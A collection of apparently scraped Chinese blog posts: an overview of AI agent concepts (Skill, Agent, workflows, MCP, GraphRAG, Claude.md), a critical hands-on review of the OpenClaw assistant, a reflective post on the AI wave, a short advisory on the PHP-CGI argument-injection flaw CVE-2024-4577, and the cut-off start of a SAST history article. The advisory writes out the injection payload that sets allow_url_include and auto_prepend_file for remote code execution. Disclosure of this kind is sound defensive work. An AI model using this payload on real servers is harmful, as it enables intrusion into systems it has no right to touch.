• • Skill本身独立于大模型外，不需要训练基础LLM，即插即用，还可以长期积累，符合AI学习成长的理念

• • 只有触发才加载对应的skill，既节省不必要的上下文浪费，又可以在有需求的情况下及时引入必要的提示词和流程要求

一个非常有名的Skill叫做Skill Creator，调用它会辅助你构建一个Skill

现在主流的AI应用中，一般都对Skill做了专门的调度单元逻辑，甚至现在很多内置的功能都会通过skill的方式实现。

比如说claude code和codex，内置了十几种skill涉及大量和底层交互的场景，会在必要时触发

现代的skill范式也越来越趋近于标准，从输入到执行流程，内置脚本，最后到输出的内容，都有相应的要求。

我个人觉得skill最大的问题是，可拓展性不够强，当你的skill少的时候，你描述触发的场景大体上比较稳定，但是如果skill太多，llm就很难判定触发了，经常会自己动手，某种程度上也符合人脑会混乱的事实。

比较理想的AI应用往往不会安装太多的Skill，是现在的一种解决方案。

什么是Agent？

如果说skill对于AI应用更多是理念上的进步，Agent和相应的概念更像是使用方法的进步。

在GPT-4诞生没几个月，在Plugins和Function Calling的基础上，社区爆发了大量的衍生项目，其中最有代表性的就是AutoGPT。

AutoGPT这类的应用引出了一个进阶的AI概念就是，我们可以把任务目标抽象成好多个步骤，由好多个独立的实体相互配合完成。

你可以理解为，每个独立的AI agent就是一个独立的人，原本我们是让一个人完成一个工作，这对这个人的能力就有非常高的要求。

现在我们用很多人分工去完成任务，可以把一个任务拆解成很多步骤，每个agent独立完成自己的事情。

有个形容我觉得比较贴切，Agent就是让AI从工具变成了员工。

Agent概念同样解决了LLM的几个大痛点

• • 上下文不够长，即便现在达到上下文百万级别依旧困扰着AI，让一个Agent独立负责一个任务，可以最大程度的减少无效的上下文冗余，针对性更强的完成任务

• • AI幻觉问题，减少无效信息干扰，Agent接收到独立的任务条件和目标，执行方向性会更强，互相也不会干扰

最早的多Agent应用，大多数都是让多个Agent一起做事情，那会儿非常经典的多AI辩论，看过不少。

让多Agent真正发光发热的破局点，就是工作流概念的诞生

什么是工作流？

工作流诞生的契机来的很快，在多Agent的理念出现之后，大家发现单纯让Agent独立完成任务的价值并不大，Agent本身容易失控，早期使用AI的普遍方案，都是让AI对同一个内容多次分析，最后取比例更好的那一个。

在23年底到24年，许多耳熟能详的AI平台诞生了，比如说Dify、Coze，他们都践行了Workflow的工作流理念。

工作流的核心理念是

将任务提前分成多个步骤，分别给每个步骤制定好输入、输出、需要完成的事情，最后再将任务的结果汇总并输入到下一个步骤。

在工作流的理念中，可以提前规划好步骤，也可以由AI规划划分步骤。

推进工作流，可以是类似于Dify这种程序推进Agent完成任务，也可以是由一个负责任Agent来推进任务，单个步骤的任务也可以独立启动多个Agent完成。

工作流诞生的价值一方面是完美利用多Agent的优势，独立Agent节省上下文，目标需求清晰互不干扰

另一方面是相比依赖Agent本身的执行结果，工作流的产出会更强势，这意味着工业化程度更高，那应用的结果效果也会更好。

像Claude Code现在就支持用工作流的方式驱动多Agent完成特定的任务，Codex可以通过Skill驱动工作流任务启动。

在历经了上面的3个关键节点之后，AI的基础方法论已经成型，但实际上距离现在真正的AI成熟化还有很长的距离，其中依旧有几个标志性的事件

慢思考AI的诞生

最早的AI模型都是基于快思考，看到问题直接输出答案，尤其是以GPT为代表，GPT-4模型最经典的问题就是偷懒，最经常的场景就是GPT-4会持续的问你问题。

在2024年底，慢思考模型的经典范例openai的o1模型和Deepseek R1模型，尤其是Deepseek，我个人感觉是从DS开始，我们经常使用的AI都会展示自己的思考过程。

慢思考AI诞生，对工作流本身造成了一定的降级，因为AI本身的思维能力足够强大，强流程的工作流某种程度上来说也成了有能力的AI的枷锁。这个话题我想在后面的文章中再讨论。

对于AI应用的意义来说，慢思考AI引领了后续AI大模型本身能力的提升方向，早期AI Agent你需要提出更明确的需求方式方法，现在的如果使用能力很强的Opus4.6这类大模型，你可以完全提出简单的需求，他会分析你的需求并结合实际场景完成任务，效果反而越来越好。

MCP是什么？

除了大模型本身的能力上升以外，关于方法论的变化也有，那就是MCP.

在2024年底，Anthropic提出了AI大模型的标准协议，就是MCP。其实单纯按照定位来说，MCP有点儿类似于Skill，但是MCP的针对性更强，MCP提出了一套双向通信的标准协议，允许AI大模型通过MCP协议无缝接入任何其他APP。

比较经典的通过mcp操作数据库，操作三方软件，很多公司为了拥抱MCP时代还推出了专门的MCP接口，这样AI在接入很多能力的时候就不用被迫应对原来的风控策略了。

MCP的标准化对于AI Agent的长远发展有着非常特殊的意义，他倒逼厂家自己推出官方MCP，让Agent的触手延伸的更远。

GraphRAG 的出现

除了大模型的能力和AI方法论的演变，在24年诞生的GraphRAG则是在另一个维度上提升了AI能力的深度。

在GraphRAG之前，AI Agent应用的知识库，大部分是传统的RAG系统。

传统RAG的核心特质是，会把一篇文章切分成很多部分，然后把他们向量化，通过片段的向量相似度搜索相关的片段输入到AI，实现某种程度上的记忆，最大的问题是这种方案非常强烈的依赖切片的质量，或者这个问题的答案干脆就没有相似度，他的效果就会大大下降，这个问题曾经贯穿早期试图做AI搜索的许多方案，令人望而生却。

GraphRAG采用了图的基础结构，将目标转化为知识图谱，节点和关系作为核心，然后GraphRAG基于图算法把每一段信息内容总结为一个独立的社区，社区有大的总结，在子社区内又存在不同的节点和关系以供搜索。

这种基于图的逻辑结构在近几年的许多工业化产物上践行，他最大的优势就是在一个非常庞大的数据中可以快速的检索相关性，给数据降了维度。

GraphRAG理念的普及大幅度提升了现在AI大模型的长期记忆能力，而且这种深度记忆的理念在许多AI应用上都有更深层次的应用。结构化长期记忆让AI变的更具有成长性，也正是在这个基础上，后续衍生了更多关于培养AI的方法论，不再依赖模型本身的训练和微调，而是在使用方法的角度做培养。

Claude.md？

相比于大模型和应用原理上的进步，对于用户来说，方法论会有更直接的影响，比较有代表性的一个东西就是Claude.md，这个方法论被称之为“声明式智能体约束”。

很有趣的是这并不是Claude创造的概念，他最早诞生于家喻户晓的Cursor ，在AI代码编辑器Cursor 诞生之后，不可避免的衍生出了一个问题就是，如何让Cursor在每次编辑代码的时候，遵守开发者的基础要求和规范呢？

于是Cursor采用了.cursorrules的提示词文件，放在项目的根目录，Cursor每次执行任务都会先阅读这个文件作为高层级的记忆标准。

那又过了一段时间后Claude Code自然也沿用了这套方案，他们完成了分级的Claude.md。

你可以按照不同位置的Claude.md实现不同的场景定制化，比如说用户级，项目级，还可以多人维护开发要求。

相比大模型本身的记忆，Claude.md这种提示词文件的主观性和强制性更强，还可以让AI自己总结并写入Claude.md。

这其实是一件非常有意思的事情：最初，顶级的 AI 科学家们（OpenAI、Anthropic）在拼命研究复杂的 JSON Schema、Function Calling 格式、复杂的 Agent 编排逻辑；但最后真正在一线写代码的程序员们发现，“在根目录扔一个 README 格式的 txt 文件给 AI 看” 才是最简单、最优雅、最符合直觉的解法。

为什么2025年AI应用井喷？

其实回顾以上的几个AI的方法论，最早的诞生于23年和GPT4一起诞生，最晚的基本上也不会脱离24年底，也就是说其实AI现在的主流方法论在24年底就已经形成了。

那为什么直到2025年年底，AI应用井喷式增长？

其实答案也很简单，就像移动互联网的爆发是3G/4G网络+APP生态+手机相关技术+时代发展集合一样，AI应用等来了大模型的能力上升（慢思考），等来了成本的暴跌（Deepseek蒸馏带来的启发），等来了AI操作的边界拓展（MCP），等来了成熟的方法论（Skill和多Agent），所以导致了今天的结果。

跳转微信打开

如果不先聊聊OpenClaw，这东西很可能就要过气了。

上篇博客中，我分享了最近关于AI的见闻和感受。本来按照流程，我应该用几篇博客的时间介绍一下最近接触和学习到的东西。

但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。

Peter Steinberger作为独立开发者，由于非常喜欢Claude，在几个月之前发布了开源的自托管助手Clawdbot，短短几个月火爆全网，引发了非常大的热情狂潮，很多人把OpenClaw称为Web4.0时代的开端。

Clawdbot，后来改名Moltbot，现在又改名叫Openclaw，最近最有名的称呼应该叫做龙虾。

无论你是否认可后面我的理解和感受，但我必须强烈的告诉你。

绝对不要把OpenClaw部署在生产环境/或者自己的实际使用主机上，一定要放在一个独立的环境中运行。

其实Openclaw并不是第一个依托于LLM的主动代理助手，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。

如果对Claude Code比较熟悉的朋友应该知道，其实Claude Cli和OpenClaw本质上没有什么区别，换言之，从设计理念的角度，OpenClaw就是没有任何安全限定的Claude Code。

从这个角度来说，OpenClaw的技术突破似乎没什么价值，客观来说，OpenClaw是个人维护+ai编程+接受了大量pr，代码质量堪忧，我相信如果用过一段时间的OpenClaw都会知道到底有多难用！

OpenClaw的爆火真的是偶然吗？

OpenClaw应该是第一个，完全免费开源，并且已经进入可用阶段的托管式AI助手，这也是OpenClaw爆火的起因，在2025年年底，AI使用的方法论已经基本成型，无论是工作流、agent，还是mcp、skill，又或者是自己实现的记忆、上下文，AI的使用方和大模型基座的强依赖进行了脱离。

这意味着，除了大模型本身的能力在进化，AI的应用也开始趋于成熟，OpenClaw使用的完全托管式AI的设计理念，解放大模型的所有能力，允许AI以助手的方式完成任何事情。

对于熟练使用Claude Code的朋友来说，或许OpenClaw的创新点太过于小，问题又多，但是对于非技术的用户来说，Claude的安全限制多，OpenClaw门槛低上手快，还可以以IM的方式沟通调教。

国内爆火的理由？

这自然就成了爆火的理由，当然在国内OpenClaw如此爆火，我个人觉得腾讯功不可没，腾讯可以说是第一时间跟进了OpenClaw，并且围绕OpenClaw在腾讯云做了活动，还可以一键部署轻应用服务器，几十块钱+几十分钟就可以搞出一个独立的AI助手，然后你就可以“快乐”的养龙虾了。

腾讯云这价格基本上等同于史低了，而且还可以一键部署OpenClaw。

相比腾讯云的方案来说，其他国内的Claw，有些虽然进行了一定的国内化魔改更好用，但是客观来说确实太贵了，就比如国内最早的定制化Claw之一Kimi Claw。

必须要开启Allegretto会员才可以使用该功能，而这个级别的会员按照连续包年来算也要159每月，虽然这个价格对于Coding plan来说并不算很贵，但对于没有相应需求只是想试试AI助手的用户来说，着实有些太贵了。

除此之外，最值得期待的应该是腾讯要推出的Qclaw

如果亲自上手过OpenClaw，应该会明白，这东西和IM的相性是好不好用很重要的一环，像飞书虽然接口众多，但是平时日常没人用飞书，而且OpenClaw操作飞书文档有点儿问题总是修不好。

我想用OpenClaw做个日报，一个图片他改了2天还改不好

我是一个微信的深度用户，曾经以各种方式运营过微信机器人4-5年，但是微信bot却一年比一年严格，我用的好几个项目都被封了，相关的接口也被关闭，我的机器人微信被封了不知道多少次，微信之前唯一机器人接入方式是企业微信，不但需要企业认证，实用性也非常差。

虽然下面这个图是玩梗，但我真希望是真的，这代表我的很多需求都可以托管实现了。

抛开营销，OpenClaw有价值吗？

我想这是每一个想要了解OpenClaw的用户都想知道的问题，我不敢说我真的很了解，因为我也依旧处于初体验的阶段，但我也分享下我的想法。

我知道所有关于OpenClaw的营销号，都在反复的推行一个概念，就是“养龙虾”。

• • 什么是“养龙虾”？

用技术的方式，通俗易通的讲，就是通过长期的反馈强化矫正，来培养一个更成熟，更有实用价值的AI助手，方法也不复杂，就是构建Skill，管理长期记忆，塑造AI那一套方法。

这套方法论并不新颖，在Claude Code中，长期管理Claude.md就是一种培养AI的方案，上篇文章里我提到Claude Code的开发团队可以长期使用AI编程，其中之一就是，他们会把部分最高指令长期培养在Claude.md，AI编程就会原来越好用，同理。

• • 听起来好像很靠谱？！

虽然原理很靠谱，主流的AI工具也都是这样的做法，但很可惜的是，OpenClaw并不是一个成熟的项目。

前面说过，OpenClaw是一个个人开发的项目，开发Peter还靠这个项目加入了openai，虽然程序员也是厉害的程序员，但是短短几个月维护一个不知道多少人关注的开源项目，只能靠大量的AI开发+大量的PR。好处是OpenClaw更新快，坏处是短短几个月OpenClaw就成了超大屎山代码，不说设计上的问题，光是代码和开发上的问题就频频出问题。

有一些特别具体的例子，我分享几个。

• • 开发和管理上的问题

2026.3.2版本，OpenClaw更新新版本，在没有任何提醒和预告的基础上，把默认权限降低到了message，只允许OpenClaw发送信息不能执行命令

更新完之后，OpenClaw瞬间任何执行命令的权限都没有，要知道OpenClaw存在的价值就是可以开放全权限在环境内操作，设计好的功能都无法正常使用。

最关键的是OpenClaw他自己也没有做相应的记忆，询问他发生了什么他自己不知道，我花了好长时间研究才发现是新更新版本的问题。

• • 默认的配置权限混乱

如果操作OpenClaw抓取图片发送给我，大概率会失败。

我花了一段时间研究修复，最后发现原因也很搞笑。

如果让OpenClaw操作浏览器抓取图片，或者用某种mcp生成图片，这个图片的默认保存位置是/tmp，但是OpenClaw的默认权限，他只能操作自己项目空间目录下，也就是/root/.openclaw/workspace/目录下的问题。所以是他没有权限操作。

没有读取tmp目录的权限很奇怪，OpenClaw自己对这件事情也没有预设也很奇怪。

• • 上下文过长，记忆混乱

其实我不知道这个问题谁是因谁是果，可能是因为上下文过长才导致记忆混乱，也可能是因为OpenClaw本身记忆管理有问题所以导致其他衍生问题。

我稍微和OpenClaw提一些小需求，他的token消耗就是几百万几百万的了，哪怕是维持平时的cron任务，不做任何主动思考任务都有几十万的消耗。

这带来的衍生问题非常严重，我问了周围的朋友，大体上都遇到了和我同样的问题，就是感觉大模型变傻了很多，我用的是GLM5，刚出来的时候都可以接近opus4.6的效果了。

但是在OpenClaw他理解不了我的需求的时候非常多，我让他在飞书文档里上传图片，断断续续的和他沟通了2天，还是没实现，大量的无意义思考，很多犯过的错误我多次指正之后就忘记了。

而且我自己的感觉是，这个问题和我的实现方式关系不大，即便我多次要求他调用官方sdk，写python脚本实现，并在skill中要求必须调用python脚本实现，这个问题依然没有得到完美解决。

甚至如果使用的时间够长，那么被我设置为最高指令的部分，他都不会遵守。

这让我意识到一个问题，不管问题的起因在哪，OpenClaw实际上是没有能力承担类似Claude的自主项目开发能力的，这也意味着所谓的养"龙虾"其实从根上暂时是不成立的，OpenClaw不会因为短期的培养变的更好，比起养来说，探索OpenClaw的能力边界，等他或者类似的工具更新，是更靠谱的选择。

ps: 或许你看到这里会说可以用第三方记忆方案替换OpenClaw，我也仍旧在研究学习中，但侧面也证明了OpenClaw本身的问题。

对了如果你是希望用OpenClaw开发项目，我还是建议你多了解下Claude的最佳实践。

• • 安全性？

随着OpenClaw爆火，这几天关于OpenClaw的安全问题被屡屡提及，尤其是安全圈相关，大家都恨不得蹭这个热度。

虽然漏洞列表里可以写出密密麻麻的一大堆OpenClaw漏洞，安全威胁提醒可以写出密密麻麻好多条，但实际上OpenClaw并没有可以直接利用的远程漏洞，在安全圈如果不能直接利用，我们更愿意把他称之为安全风险。

其实谈论到OpenClaw的安全风险，首先要讨论的说不定应该是OpenClaw本身的安全限制，首先OpenClaw的设计理念和Claude就有差异，OpenClaw的核心是托管，完全无人工参与，那么你给OpenClaw本身做安全风险限制，最后麻烦的只有自己，但反过来他的风险也同样来自于自己。

ps：我也遇到过类似的事情，我让他一直改脚本，改着改着他给自己删了重写，变成了一坨。

提示词注入个人觉得其实算是有点儿无妄之谈了，这个场景几乎不存在，先不说能不能操作微信，谁会把接到IM接到自己的常用微信上，还给了对外的操作权限呢？

一定要说的话，我觉得最早期听说过的一个故事还算相对比较有可能性，Clawdbot最早爆火是自动炒币助手，还会直接把web界面开到公网去，可以通过公网入口对话取得和炒币平台交互的密钥，我不知道是不是真的有这种傻子，但把OpenClaw装到自己的生产力工具上，我还是觉得第一个要担心的是他把你机器给格了。

另一个算是问题比较大的，就是供应链攻击。

现在的AI工具已经处于Skill时代了，给ai赋予Skill能力就像教会人学会对应的技能，AI会获得更多的能力去做更多事情，那对应的skill市场当然也就应运而生，OpenClaw官方用的是Clawhub。

他最大的特点就是，和其他包管理器一样，用户可以自由上传自己的skill，当然随之而来的供应链攻击就会很多。

感觉有点儿太老生常谈了，随便下skill和以前随便下包是一样的。

OpenClaw到底有什么用？

相比OpenClaw的缺点和问题来说，其实OpenClaw到底有什么，到底能做到什么，是一个需要实践探索的问题。

客观来说，有更好的工具珠玉在前，OpenClaw最大的优势很难撇得开门槛低。

或者说OpenClaw最大的价值就是，你可以以极低的成本操作服务器来完成任务，而这个任务目前来讲最好的实现逃不开爬虫。

比如说80%的人都看过的OpenClaw案例，推荐股票

说白了就是，读取股票数据喂给大模型，然后根据你的仓位，固定时间提醒你操作（应该没人真的把自动交易交给OpenClaw吧）。

本质就是一个后台运行的爬虫，建立在OpenClaw上完成这个需求门槛极低，不需要会写代码，会阐述需求即可。

我自己用OpenClaw玩了一周多的时间，其中唯一一个稳定运行没出过毛病的也是爬虫，帮我监控nga热门帖子推送给我。

主要是OpenClaw和系统的crontab联动的很好，定时任务很稳定，操作浏览器访问页面爬取内容，可以靠大模型完全自己实现并持续优化，最后内容还可以让大模型自己再处理一遍。

这一套下来最方便的点就是，如果我遇到什么问题，我可以直接通过IM交互提需求解决，不像自己写爬虫要不停的修复处理反爬等各种问题。

当然这里我发现有一个非常坑的误区就是，虽然OpenClaw非常方便，不需要你直接写代码，但是客观实际遇到的问题非常之多，这也是我不看好OpenClaw可以由一个完全不懂技术的人养好的原因之一。

举一个最好的例子就是之前那个图片的例子，我在和OpenClaw沟通的时候他完全理解不了为什么图片没有发出来，查了好多资料才发现是OpenClaw的安全限制，类似的事情出现非常多，完全不懂技术的朋友很难理解问题出在哪，只能不停的提出需求无法解决之后，被迫放弃。

ps：我让他去小红书搜索帖子，他一直说mcp启动不了，实际上是他没有正确按照这个mcp的文档启动

截止目前为止，我仍然在调校OpenClaw帮我写公众号，效果依旧不理想，还在努力中

写在最后

洋洋洒洒写了一大堆，主要还是分享我对OpenClaw的认知和见闻，营销号看的太多，总是分不清什么是真的什么是营销的，在信息爆炸的时代这或许是个常态。

• • OpenClaw到底有没有意义？

有，首先作为开源工具证明了这个理念的可行性，nb

• • OpenClaw到底是不是营销出来的？

是，OpenClaw原生至少现在，根本不具备被养的能力

• • OpenClaw值不值得玩一下？

我只能说比你想象的可能要有用一些

我们下篇再见！

跳转微信打开

今天这篇博客，没有技术，只想和大家分享分享最近的想法。

许久没有起笔写博客和公众号了，忽然一下起笔，似乎一下子找不到下笔的方式和由头，其实我想恢复写博客的习惯很久了。

最近几年博客写的很少，原因有很多，一个这几年工作内容涉及到的公司内容比较多，不好去密，另一个是人真的是很懒惰的，放下笔很容易但是提起笔需要很多理由。

今天这篇博客，没有技术，只想和大家分享分享最近的想法。

认识我的朋友可能知道，这些年我另营业的副业做的还马马虎虎可以，无论是B站还是抖音，做视频做直播花费了很多精力，也有一些粉丝和收入。

反而是安全方向，做了很多东西但是实际的产出很少，在去年有一段时间甚至算是有点儿陷入迷茫阶段，有点儿不太清楚自己在干什么，每天公式化完成工作，最后整体算下来感觉自己也没什么成长。

我在奇安信的主要工作就是围绕破壳平台，后面我会更多分享和这个有关的内容

https://poc.qianxin.com/

对我来说近期有一件事情影响非常之大，AI之于用户甚至之于这个时代都已经是老生常谈，哪怕是什么都不懂的人，多多少少也能打开个手机里的豆包，没事问问豆包问题，调戏调戏豆包。

从去年的年底开始，实话讲我并不知道具体是什么时候，有些人说是25年的10月，也有人说是更早，突然感觉AI的浪潮向我拍过来了，最开始我虽然会刷到这些新闻，但是很多时候只是大体看看怎么回事，大概知道，原来又多了一点儿新东西，但是好像也没啥新意。

我工作中使用AI更多的场景，依旧是平时拿AI当搜索软件搜索写代码遇到的问题，再就是用trae维护另一个我自己维护的平台功能，我很少会深度的使用AI。

在当时心中对于AI的认知还停留在，上下文不够长，幻觉严重的问题无法解决，这两个致命问题上，所以很多东西大概知道怎么回事，但是觉得没有花时间了解的必要。

直到12月底的两件事情，算是彻底改变了我的观念，也让我真真切切的意识到，或许真的AI时代的洪流，要到来了。

第一件事情就是，Claude Code的开发团队表示，在过去的30天，CC的所有代码都是由AI来完成的。

其实说实话，我没有很刻意的求证过该内容是不是有夸大其词的成分，也可能他是一次成功的营销，实际就是，我在大体了解了这件事情后续的相关内容之后（就是这个作者分享了他是怎么用cc做到这件事情的），给我造成了第一次认知冲击。

我相信在看到这句话，一定会有两种人对我讲的事情有完全不一样的第一反应。

第一种，就是很早就深耕AI agent的朋友，第一反应会觉得，这不是很正常吗，这已经是ai agent最基础不过的应用场景了。

另一种，就是当时的我，第一反应会觉得，假的吧怎么可能，我昨天用trae/cursor写代码，他还写出了一堆bug我修了一天。

但在后续仔细研究了CC团队分享的内容之后，你会发现，即便不是100%，AI的自动化率也至少超过了95%，对我来说当时的第一个冲击就是，原来已经有人领先这么多了。

第二件对我影响很大的事情就是，在12月的最后一天，我们团队内部做了一个专门的AI和漏洞挖掘的分享会，在这个分享会上，最早开始深度投入ai的团队，已经做出了一些非常不错的漏洞挖掘工作流，还有了很多成果。

这和我之前的认知大相径庭，在这之前我看过的大部分漏洞挖掘工作流，要不就是装模做样做分析但实际上上下文根本不足以支撑正常项目，只能跑跑测试样例写论文，要不就是辅助写CodeQL的规则，实际上没有脱离工具本身。

这两件事情几乎发生在同一时间，像洪流一样摧毁了我的认知，我自以为我天天了解AI的新闻，也在AI使用的第一线，但我自以为是的傲慢让我错过了最早跟上的第一班车。

在我刚刚意识到这件事情之后，马上从1月一直到3月，AI的热潮就已经越演越烈，除了过年的几天，我几乎每天都在接触和辨别新东西的诞生，今天还在测试做工作流，明天研究这个那个skill，后天研究openclaw。

我开始越来越意识到，我似乎正值某一个时代的风口。

其实在我不短不长的职业生涯中，也接触过好几次类似的事情。

我真正意义上错过的风口，其实只有一个，叫做移动互联网。但严格意义上来说也不算实际错过，毕竟移动互联网真正的核心腾讯、阿里、字节跳动，在我还没毕业的时候就已经成型了，最多就是没赶上第三波车，也不算非常可惜。

我第二次遇到所谓的风口，叫做区块链。

和第一次不太一样，我曾经深度的all in过区块链1-2年，不仅仅是区块链安全，还包括区块链相关的很多内容，我甚至可以说是世界范围内，最早投入区块链安全的人群之一。

但在区块链这件事情上，我很快意识到，区块链最大的存在意义已经到这里了，金融就是他最好的场景，于是在后续的几年里我快速的从这里抽身出来。

幸运的是我的认知是对的，炒币已经是区块链最大的意义了。不幸的是，如果我继续投入区块链，我应该能获得足以安慰自己的身家，当然，没有如果。

在中间快速的跳过几年，上一次时代浪潮的风口叫做chatgpt，我认为chatgpt对于ai最大的贡献和价值，就是他终于帮助ai迈出了最关键的那一步，就是ai可以和人类沟通了。

在chatgpt出现的前几年，无论是最出名的阿尔法狗下围棋击败柯洁，还是探讨神经网络模型的深度学术，ai对于大家来说更多只是一个科幻名词，人们对于AI最高的想象力也不过来自于科幻电影，很多人对于AI的期望可能还是50-100年后。

2022年，chatgpt完全打破了普通用户和AI的第一扇窗，我们真正开始意识到，原来AI已经可以完成这么麻烦的语义解析了，可以完全打通语言这块，但最早的chatgpt也仅限于此。

在最早的版本中，ai的实用性还很差，大部分用户只能以prompt工程师的方式，想办法调动ai的能力，更有能力的公司会开始尝试微调，真正入局的大公司开始堆算力训练自己的大模型。

ps：只有我一个人觉得当年的prompt提示词没啥实际用吗？我最早一直觉得很怪。

最早的AI上下文极短，本身AI的能力也不够强，最早的应用场景做知识库，他的应用办法也是取巧，RAG的知识库模式应该是最早唯一的实现方式。

简单来说就是

用户提问

↓

将问题向量化（Embedding）

↓

在知识库中检索相关文档（VectorDB）

↓

将检索结果 + 原始问题拼接为Prompt

↓

送入LLM生成最终回答

实话讲这套方案效果非常差，试图将AI能力薄弱转嫁为数学问题，在实际体验中效果就很一般了，那最早做AI搜索的知识库，搜索引擎，效果都不算好，更多都是以营销为核心。

再往后，大概是2023年年终，以GPT4为代表的大模型，以插件的形式打通了大模型和其他输入来源，最早的GPT，你只能问他已经训练过的数据，我记得当时有个标准就是不能问近3年更新的内容，GPT没学过。

从GPT4开放插件之后，大模型有了第三方的输入，其中最有价值的就是联网搜索，从这里开始，GPT真正意义上成为了很多人遇到问题搜索的第一优先级，最早是程序员使用搜索代码问题，再到后来，这类的观念和理念促成了23年最火的AI工具cursor，自此用AI辅助编程就成了主流，被越来越多人接受和使用。

再往后23年末，工作流、agent的概念诞生，事实上也正是从这里开始，我低估了方法论在AI实际使用上的效果。

其实从23末到25年，这个期间比起方法论的发展，AI更主流的发展是大模型的能力。

大家都知道的deepseek发起的算力革命，ds的出现打破了openai为首试图发起21世纪算力霸权的企图，从这里开始大模型不再拼谁的算力更强，集群更大。而是谁能做出更聪明的模型。

也正是从廉价大模型能力出现之后，以豆包为首的民用AI场景越来越强，越来越实用。

现在回顾25年，可以说25年是真正的AI元年。

民用情感对话方面，豆包的诞生。

代码相关，Claude code和codex都是25年诞生。

还有一个大家可能关注比较少的领域，AI视频生成，即梦AI 2.0也是刚刚发布，在这之前AI视频更多停留在换脸或者生成一个奇怪的AI感很强的搞怪视频。

但在26年，视频AI可以说是突飞猛进，过年期间我刷到过很多关于真人AI后室vlog的视频，不知道有没有人了解过，效果非常好，在年后甚至有那种效果非常好的ai短剧出现，不是说AI视频已经可以替代真人，但会有一种护城河被冲破的感觉。

ps：我不知道我看的这个是不是最早做的，但是他用了真人演绎+AI视频做的后室vlog，效果非常好，我知道他是AI做的，但是我并不反感，真的很不错。

再往后，从26年开始，我真正意识到AI浪潮已来之后，26年的热点和浪潮一波接着一波。

首先是元旦到年间的AI大战，阿里的千问，腾讯的元宝，字节的豆包，铺天盖地的宣传和推广袭来，颇有点儿当年阿里腾讯支付大战的风采，现在最不敏感的普通民众应该都意识到似乎有很多东西不一样了。

大模型方面年后大量的新模型发布，GPT5.4，Claude Sonnet4.6，Gemini 3.1Pro，Grok 4.2，GLM5，Minmax2.5，还包括前面说的视频ai seedance 2.0，虽然大模型的能力没有革命性的进步，但不同模型的能力也在进一步拉齐。

ps：给大家推荐下我现在用的特别多的GLM5，实话讲我也觉得和opus差距较大，但是这个模型真的便宜，我近期那种测试学习向的AI都用了这个。

https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH

很快我们迎来了年后的第一个大热点。

最早的Clawdbot，后来改名Moltbot，现在又改名叫Openclaw，最近最有名的应该叫做龙虾。其实Openclaw并不是第一个依托于LLM的主动代理助手，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。

年初Openclaw爆火，其实我觉得主要推手就是腾讯，腾讯以非常快的效率跟进并推广这个东西。

今天这篇博客我先不讨论太多Openclaw，但下面这张图确实很有意思。

时至今日，正处于时代浪潮风口当中，AI变革的时代来了吗？

或许现在的我给不出答案，但后续的博客中，我会伴随着我的学习和分享，和大家一起探讨这个答案。

跳转微信打开

今天在DEVCORE的官方博客发布了一个漏洞通报，是存在于windows特殊场景下的PHP CGI远程代码执行漏洞（CVE-2024-4577）

• https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227

• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/

漏洞描述

影响范围

• PHP 8.3 < 8.3.8
• PHP 8.2 < 8.2.20
• PHP 8.1 < 8.1.29

漏洞利用条件

Windows系统内字符编码转换的Best-Fit特性

• 必须是Window环境

• 繁体中文 (字码页 950)
• 简体中文 (字码页 936)
• 日文 (字码页 932)

Something is wrong with the XAMPP installation :-(
Apache CGI will pass the query string to the command line if it doesn't contain a '='.
This can create an issue where a malicious request can pass command line arguments to
the executable. Ideally we skip argument parsing when we're in cgi or fastcgi mode,
but that breaks PHP scripts on Linux with a hashbang: `#!/php-cgi -d option=value`.
Therefore, this code only prevents passing arguments if the query string starts with a '-'.
Similarly, scripts spawned in subprocesses on Windows may have the same issue.

以CGI模式运行的PHP环境

AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"

#
# PHP-CGI setup
#
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>

%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input

-d allow_url_include=on -d auto_prepend_file=php://input

将PHP的执行程序暴露在外 - XAMPP默认配置

ScriptAlias /php-cgi/ "D:/xampp/php/"
<Directory "D:/xampp/php">
    AllowOverride None
    Options None
    Require all denied
    <Files "php-cgi.exe">
          Require all granted
    </Files>
</Directory>

阅读原文

跳转微信打开

一前 言自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地

一

前 言

自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了现代伟大的科技时代。

在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。

而SAST作为自动化代码分析的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。

SAST是什么？

ChatGPT：SAST是Static Application Security Testing（静态应用程序安全测试）的缩写。它是一种用于检测软件应用程序中潜在安全漏洞和代码缺陷的自动化安全测试方法。

二

静态代码分析工具

静态代码分析主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug。

在过去的十几年里，静态代码分析工具经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后）：

01

上古时期 - 关键字匹配

如果我问你“如果让你设计一个自动化代码审计工具，你会怎么设计？”，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。

这里我们拿PHP做个简单的例子。

虽然我们匹配到了这个简单的漏洞，但是很快发现，事情并没有那么简单。

也许你说你可以通过简单的关键字重新匹配到这个问题。

\beval\(\$

